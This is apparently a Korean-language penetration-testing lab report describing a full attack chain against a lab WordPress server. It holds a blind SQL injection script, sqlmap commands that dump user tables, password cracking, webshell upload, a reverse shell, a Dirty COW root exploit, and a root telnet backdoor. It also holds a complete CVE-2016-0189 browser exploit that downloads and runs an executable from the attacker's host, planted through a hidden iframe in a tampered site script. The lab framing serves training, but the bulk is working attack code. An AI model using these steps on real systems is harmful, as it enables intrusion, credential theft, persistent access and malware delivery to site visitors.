Search

시나리오 기반 모의 침투(Drive By Download)

기간
2024/07/25 → 2024/07/26
시작일
2024/07/25
종료일
2024/07/26
인원
1
보고서

실습환경

피해자 Server : 192.168.0.140 B-SQLi & DirtyCow
공격자 Server : 192.168.0.15 (Kali Linux
가상환경 (B-SQLi & DirtyCow) 스냅샷 돌리고 실습 시작

DNS 정보조사

dns.txt 파일 준비

서브 도메인으로 사용할 수 있는 단어들이 포함된 txt 파일을 준비

조사 진행

fierce --domain fngs.kr --subdomain-file dns.txt
Bash
복사
서브도메인 dev.fngs.kr 을 발견
해당 도메인의 IP 주소는 192.168.0.140 으로 확인
fierce? DNS 정보 조사를 위한 도구 특정 도메인의 하위 도메인과 관련된 정보를 수집하는 데 사용되며 도메인의 네임 서버(NS), SOA 레코드, IP 주소 등을 확인하며, 이를 통해 네트워크 구조를 파악하고 보안 취약점을 파악

Web 응용프로그램 정보 조사

whatweb -v dev.fngs.kr
Bash
복사
whatweb 도구를 사용하여 해당 도메인의 추가 정보 획득
whatweb? 웹 애플리케이션의 기술 스택을 식별하는 도구로, 웹 서버, 프레임워크, CMS, 분석 코드 등을 탐지 -v : verbose 모드, 더 자세한 출력 제공

워드프레스 취약성 조사

wpscan --url dev.fngs.kr
Bash
복사
wpscan 을 사용하여 워드프레스, 플러그인의 버전을 확인하여 취약성 조사
플러그인의 최신 버전은 1.3.1 이지만, 현재 버전은 1.2.3 인 것을 확인

SQL 인젝션

플러그인 이름을 보고 해당 기능이 취약하다고 판단

BrupSuite 이용

리피터 기능을 활용하여 인젝션 진행
and 1=1
Plain Text
복사
거짓
and 1=0
Plain Text
복사
위와 같은 과정을 통해 인젝션이 가능하다는 것을 파악

DB 길이 추출

AND LENGTH(database()) = 9
Plain Text
복사
1부터 증가시키면서 인젝션을 진행
데이터베이스 이름의 길이는 9임을 확인

코드 제작을 통한 데이터베이스 이름 추출

파이썬 코드를 이용한 데이터베이스 이름 추출
import requests URL = "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" # 데이터베이스 이름의 ASCII 코드를 저장할 배열 dbName = [] # 데이터베이스 이름의 길이를 찾기 length_found = False for length in range(1, 100): # 데이터베이스 이름의 최대 길이를 100으로 설정 payload = {'post_id': f"1 and LENGTH(database())={length} -- ", 'l': 1, 'wp_type': 'like'} r = requests.post(URL, data=payload) if '0' not in r.text: print(f"Database name length found: {length}") db_length = length length_found = True break if not length_found: print("Failed to find database name length") exit() # 데이터베이스 이름의 첫 번째 문자를 찾기 위한 시작 위치 subStr = 1 while subStr <= db_length: found_char = False for asciiCode in range(32, 127): # ASCII 코드 범위: 32 (공백)부터 126 (틸다)까지 brute_string = f"1 and BINARY substring(database(),{subStr},1) = char({asciiCode})" payload = {'post_id': brute_string, 'l': 1, 'wp_type': 'like'} r = requests.post(URL, data=payload) if '0' not in r.text: dbName.append(chr(asciiCode)) print(f"Success! Character '{chr(asciiCode)}' found at position {subStr}.") print(f"Database name so far: {''.join(dbName)}", end='\r') found_char = True break else: continue if not found_char: break subStr += 1 # 다음 문자의 위치로 이동 # 최종 데이터베이스 이름을 문자열로 변환하여 출력 print(f"\nFinal Database Name: {''.join(dbName)}")
Python
복사
결과
데이터베이스 이름은 wordpress 인 것을 확인
BINARY 키워드 DB 이름 추출 시 BINARY 키워드를 사용 해당 키워드는 대,소문자를 구분하는 역할을 하며 사용하지 않을 시 대/소문자가 모두 참으로 판별된다.

SQLmap 이용

웹 서버 주요정보 추출

sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL
Bash
복사
결과
OS : Linux Ubuntu
웹 서버 기술 : Apache 2.4.7, PHP 5.5.9
백엔드 DBMS : MySQL 5.0.12 이상
SQLmap 옵션
-u URL: 대상 URL 지정
--method=METHOD: HTTP 요청 메서드(예: GET, POST) 지정
--data=DATA: POST 요청 시 전송할 데이터 지정
-p PARAMETER: SQL 인젝션을 시도할 매개변수 지정
-v LEVEL: 상세한 출력 수준 설정 (1~6)
--dbs: 데이터베이스 목록 나열
--tables: 특정 데이터베이스의 테이블 목록 나열
--columns: 특정 테이블의 컬럼 목록 나열
--dump: 특정 테이블의 데이터 덤프
--dbms=DBMS: 대상 DBMS 지정 (예: MySQL, PostgreSQL)

DB 추출

sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL --dbs
Bash
복사
결과
사용 중인 DB
information_schema
wordpress
information_schema 는 MySQL의 기본 시스템 DB므로 실제 사용 중인 DB 는 wordpress 로 추측 가능

테이블 추출

sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL --tables -D wordpress
Bash
복사
결과
wordpress 내부의 테이블 추출 완료
SQLmap DB 관련 옵션
-D DBNAME: 특정 데이터베이스 지정
-T TBLNAME: 특정 테이블 지정
-C COLNAME: 특정 컬럼 지정
--dump: 테이블의 데이터 덤프
--search: 데이터베이스, 테이블, 컬럼 검색
--exclude-sysdbs: 시스템 데이터베이스 제외
--users: 데이터베이스 사용자 목록 나열
--passwords: 데이터베이스 사용자 비밀번호 덤프
--privileges: 데이터베이스 사용자 권한 나열
--roles: 데이터베이스 사용자 역할 나열

컬럼 추출

계정 정보가 있을 것으로 추측되는 wp_users 테이블의 컬럼 추출
sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL --columns -T wp_users -D wordpress
Bash
복사
결과
wp_users 테이블의 컬럼 추출 완료

관리자 계정 찾기

sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL --dump -T wp_usermeta -D wordpress
Bash
복사
결과
kisec 계정이 관리자 계정이라는 것 확인

사용자 계정, 비밀번호 추출

sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL --dump -T wp_users -D wordpress
Bash
복사
결과
비밀번호의 해시 값 확인

hashcat.exe 이용 해시 값 해석

윈도우에서 hashcat.exe와 같은 경로에 pass.txt 생성 후 해시 값 저장
hashcat.exe -a 3 -d 2 pass.txt -o crack.txt
Shell
복사
해시 분석 과정 (약10분 소요)
결과
비밀번호 크랙 결과 kisec 임을 확인

관리자 페이지 접속 및 플러그인 설치

관리자 페이지 접속

ttp://dev.fngs.kr/wp-admin 경로로 접속
wp-admin 은 워드프레스 관리자페이지의 기본 경로이다.
ID : kisec
PW : kisec

플러그인 설치

https://www.exploit-db.com/exploits/36738 접속

취약 플러그인 다운로드

익스플로잇 스크립트 다운
Software Link 확인 및 브라우저로 접속, 취약한 플러그인 다운
관리자 페이지 - 플러그인 - 플러그인 업로드에서 취약한 플러그인 업로드 및 설치 진행
활성화 진행
플러그인 추가 확인

웹 쉘 (리버스 쉘) 실행

웹 쉘 다운로드

wget https://raw.githubusercontent.com/tennc/webshell/master/php/b374k/b374k-3.2.3.php
Bash
복사
본 실습에서는 b374k 라는 웹 쉘을 사용

웹 쉘 업로드

curl 를 이용하여 b374k-3.2.3.php 웹셸 파일을 워드프레스 사이트의 admin-ajax.php로 업로드
curl -k -X POST -F "action=upload" -F "Filedata=@./b374k-3.2.3.php" -F "action=nm_webcontact_upload_file" http://dev.fngs.kr/wp-admin/admin-ajax.php
Bash
복사
결과
filename 복사
curl 옵션
-k : SSL 인증서를 무시하고 요청을 수행합니다.
-X POST: POST 요청을 사용합니다.
-F action=upload: 업로드 작업을 지정합니다.
-F Filedata=@./b374k-3.2.3.php: 업로드할 파일을 지정합니다.
-F action=nm_webcontact_upload_file: 웹컨택트 업로드 액션을 지정합니다.
http://dev.fngs.kr/wp-admin/admin-ajax.php: 요청을 보낼 URL입니다.

업로드한 웹 쉘 접근

http://dev.fngs.kr/wp-content/uploads/contact_files/1722683421-b374k_3.2.3.php 접속
비밀번호는 b374k

리버스 쉘 설정

Network - Reverse Shell 에서 IP, Port 설정

리버스 쉘 실행

포트 열고 대기
nc -nvlp 6666
Bash
복사
앞서 설정한 리버스 쉘을 실행하면 연결됨
결과

권한 상승 (Dirty Cow)

익스플로잇 코드 (Dirty Cow) 다운로드

wget https://www.exploit-db.com/download/40616 -O cowroot.c
Bash
복사
결과

컴파일

실행 가능하도록 컴파일 진행
gcc cowroot.c -o cowroot -pthread
Bash
복사
결과

Dirty Cow 실행

./cowroot
Bash
복사
실행과 동시에 아래 명령어 실행 (5초 이내)
echo 0 > /proc/sys/vm/dirty_writeback_centisecs mv /tmp/bak /usr/bin/passwd
Bash
복사
커널 패닉시간? DirtyCow(Dirty Copy-on-Write) 익스플로잇은 리눅스 커널의 특정 취약점을 이용하여 메모리 페이지를 수정하는 공격 기법이다. 이 과정에서 시스템의 파일을 임시로 덮어쓰게 되는데, 이로 인해 시스템이 불안정해질 수 있다. 이때 커널 패닉이 발생할 가능성이 있기 때문에 5초 이내에 명령어를 입력해야한다.
결과
명령어 입력 후 whoami 명렁어 입력 시 root 확인

백도어 (텔넷) 설치

환경변수 업데이트

export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Bash
복사

텔넷 설치

apt-get install -y xinetd telnetd
Bash
복사

xinetd 설정 파일 활성화

echo -e "service telnet\n{\n disable = no\n flags = REUSE\n socket_type = stream\n wait = no\n user = root\n server = /usr/sbin/in.telnetd\n log_on_failure += USERID\n}" > /etc/xinetd.d/telnet
Bash
복사

/etc/securetty 파일 변조

mv /etc/securetty /etc/securetty.old
Bash
복사
/etc/securetty 파일을 /etc/securetty.old 로 변조
/etc/securetty? /etc/securetty 파일은 특정 터미널에서 루트 로그인을 허용할지 여부를 제어하는 파일이다다. 이 파일을 변경하거나 제거하면 루트 사용자가 해당 터미널에서 로그인을 할 수 없게 설정할 수 있다. securetty 파일을 비활성화하여 모든 터미널에서 루트 로그인을 허용한다.

root 비밀번호 변경

passwd root
Bash
복사

텔넷 서비스 재시작

service xinetd restart
Bash
복사

텔넷 접속

telnet dev.fngs.kr
Bash
복사
결과

데이터베이스 탈취

MySQL 서비스 중지

service mysql stop
Bash
복사

권한 우회

myspld_safe —skip-grant-tables &
Bash
복사

데이터베이스 덤프

mysqldump —all-databases > hack.sql
Bash
복사

MySQL 데몬 종료

pkill mysqld
Bash
복사

MySQL 서비스 재시작

/etc/init.d/mysql start
Bash
복사

백업파일 이동

my hack.sql /var/www/wordpress
Bash
복사
파일을 원격으로 쉽게 접근할 수 있는 위치에 두기 위해 파일 이동

DBD (Drive By Download) 공격

CVE-2016-0189 취약점을 악용하여 DBD 공격을 진행

익스플로잇 코드 다운로드 및 압축 해제

wget https://github.com/theori-io/cve-2016-0189/archive/refs/heads/master.zip unzip master.zip
Bash
복사

디렉토리 이름 변경

mv cve-2016-0189-master cve-2016
Bash
복사

웹 서버의 루트 디렉토리에 익스플로잇 파일 복사

sudo cp cve-2016/exploit/vbscript_godmode.html /var/www/wordpress
Bash
복사

익스플로잇 파일 수정

sudo vi /var/www/wordpress/vbscript_godmode.html
Bash
복사
106번 라인 삭제 후 아래 코드 추가
Object.ShellExecute "cmd.exe", "/c CD %TEMP%&@echo Set objXMLHTTP=CreateObject(""MSXML2.XMLHTTP"")>down_exec.vbs&@echo objXMLHTTP.open ""GET"",""http://192.168.0.15/messbox.exe"",false>>down_exec.vbs&@echo objXMLHTTP.send()>>down_exec.vbs&@echo If objXMLHTTP.Status=200 Then>>down_exec.vbs&@echo Set objADOStream=CreateObject(""ADODB.Stream"")>>down_exec.vbs&@echo objADOStream.Open>>down_exec.vbs&@echo objADOStream.Type=1 >>down_exec.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>down_exec.vbs&@echo objADOStream.Position=0 >>down_exec.vbs&@echo objADOStream.SaveToFile ""%TEMP%\messbox.exe"">>down_exec.vbs&@echo objADOStream.Close>>down_exec.vbs&@echo Set objADOStream=Nothing>>down_exec.vbs&@echo End if>>down_exec.vbs&@echo Set objXMLHTTP=Nothing>>down_exec.vbs&@echo Set objShell=CreateObject(""WScript.Shell"")>>down_exec.vbs&@echo objShell.Exec(""%TEMP%\messbox.exe"")>>down_exec.vbs&del %TEMP%\messbox.exe&cscript.exe %TEMP%\down_exec.vbs&del %TEMP%\down_exec.vbs", "", "open", 0
Bash
복사
해당 코드는 원격 서버 (192.168.0.15) 에서 messbox.exe 를 다운로드 및 실행

Putty 다운로드 및 이름 변경

Putty 다운로드 (로컬)

OS 에 맞게 설치 진행, 본 실습에서는 32-Bit x86을 사용

HTTP 서버 오픈 (로컬) 및 다운로드 (칼리)

로컬
칼리

Putty 파일 이름 변경

mv putty.exe messbox.exe
Bash
복사

JavaScript 파일 변경

변조 대상 JS 파일 확인

dev.fngs.kr 에 접속 후 개발자도구로 변조대상 JS 파일 확인
wp-includes/js/admin-bar.min.js 을 변조

JS 파일 변조 진행

기존 코드에 아래 내용 추가
document.write("<iframe src='http://dev.fngs.kr/vbscript_godmode.html' width='0' height='0' frameborder='0'></iframe>");
Bash
복사

godmode.html 수정

106번 라인 삭제 후 쉘 코드 삽입
<html> <head> <meta http-equiv="x-ua-compatible" content="IE=10"> </head> <body> <script type="text/vbscript"> Dim aw Dim plunge(32) Dim y(32) prefix = "%u4141%u4141" d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242" b = String(64000, "D") c = d & b x = UnEscape(c) Class ArrayWrapper Dim A() Private Sub Class_Initialize ' 2x2000 elements x 16 bytes / element = 64000 bytes ReDim Preserve A(1, 2000) End Sub Public Sub Resize() ReDim Preserve A(1, 1) End Sub End Class Class Dummy End Class Function getAddr (arg1, s) aw = Null Set aw = New ArrayWrapper For i = 0 To 32 Set plunge(i) = s Next Set aw.A(arg1, 2) = s Dim addr Dim i For i = 0 To 31 If Asc(Mid(y(i), 3, 1)) = VarType(s) Then addr = strToInt(Mid(y(i), 3 + 4, 2)) End If y(i) = Null Next If addr = Null Then document.location.href = document.location.href Return End If getAddr = addr End Function Function leakMem (arg1, addr) d = prefix & "%u0008%u4141%u4141%u4141" c = d & intToStr(addr) & b x = UnEscape(c) aw = Null Set aw = New ArrayWrapper Dim o o = aw.A(arg1, 2) leakMem = o End Function Sub overwrite (arg1, addr) d = prefix & "%u400C%u0000%u0000%u0000" c = d & intToStr(addr) & b x = UnEscape(c) aw = Null Set aw = New ArrayWrapper ' Single has vartype of 0x04 aw.A(arg1, 2) = CSng(0) End Sub Function exploit (arg1) Dim addr Dim csession Dim olescript Dim mem ' Create a vbscript class instance Set dm = New Dummy ' Get address of the class instance addr = getAddr(arg1, dm) ' Leak CSession address from class instance mem = leakMem(arg1, addr + 8) csession = strToInt(Mid(mem, 3, 2)) ' Leak COleScript address from CSession instance mem = leakMem(arg1, csession + 4) olescript = strToInt(Mid(mem, 1, 2)) ' Overwrite SafetyOption in COleScript (e.g. god mode) ' e.g. changes it to 0x04 which is not in 0x0B mask overwrite arg1, olescript + &H174 ' Execute cmd Set Object = CreateObject("Shell.Application") Object.ShellExecute "cmd.exe", "/c CD %TEMP%&@echo Set objXMLHTTP=CreateObject(""MSXML2.XMLHTTP"")>down_exec.vbs&@echo objXMLHTTP.open ""GET"",""http://192.168.0.15/messbox.exe"",false>>down_exec.vbs&@echo objXMLHTTP.send()>>down_exec.vbs&@echo If objXMLHTTP.Status=200 Then>>down_exec.vbs&@echo Set objADOStream=CreateObject(""ADODB.Stream"")>>down_exec.vbs&@echo objADOStream.Open>>down_exec.vbs&@echo objADOStream.Type=1 >>down_exec.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>down_exec.vbs&@echo objADOStream.Position=0 >>down_exec.vbs&@echo objADOStream.SaveToFile ""%TEMP%\messbox.exe"">>down_exec.vbs&@echo objADOStream.Close>>down_exec.vbs&@echo Set objADOStream=Nothing>>down_exec.vbs&@echo End if>>down_exec.vbs&@echo Set objXMLHTTP=Nothing>>down_exec.vbs&@echo Set objShell=CreateObject(""WScript.Shell"")>>down_exec.vbs&@echo objShell.Exec(""%TEMP%\messbox.exe"")>>down_exec.vbs&del %TEMP%\messbox.exe&cscript.exe %TEMP%\down_exec.vbs&del %TEMP%\down_exec.vbs", "", "open", 0 End Function Function triggerBug ' Resize array we are currently indexing aw.Resize() ' Overlap freed array area with our exploit string Dim i For i = 0 To 32 ' 24000x2 + 6 = 48006 bytes y(i) = Mid(x, 1, 24000) Next End Function </script> <script type="text/javascript"> function strToInt(s) { return s.charCodeAt(0) | (s.charCodeAt(1) << 16); } function intToStr(x) { return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16); } var o; o = {"valueOf": function () { triggerBug(); return 1; }}; setTimeout(function() {exploit(o);}, 50); </script> </body> </html>
Bash
복사

최종 확인

사이트 접속

윈도우 환경에서 http://dev.fngs.kr 접속
wp-includes/js/admin-bar.min.js 를 변조했기 때문에 관리자 계정으로 로그인 한 뒤 재접속 시도
결과
피해자 환경에서 Putty가 실행된 것 확인